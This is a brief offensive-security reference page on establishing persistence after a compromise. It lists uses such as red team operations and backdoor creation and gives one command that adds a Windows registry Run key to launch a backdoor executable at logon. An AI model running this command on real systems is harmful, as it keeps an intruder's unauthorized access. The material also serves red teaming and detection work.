Establishing Persistence

When to Use

• Maintaining access to compromised systems
• Post-exploitation techniques
• Red team operations
• Persistence testing
• Backdoor creation

Windows Persistence

Registry Run Keys

# HKCU Run (current user)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\Windows\Temp\backdoor.exe"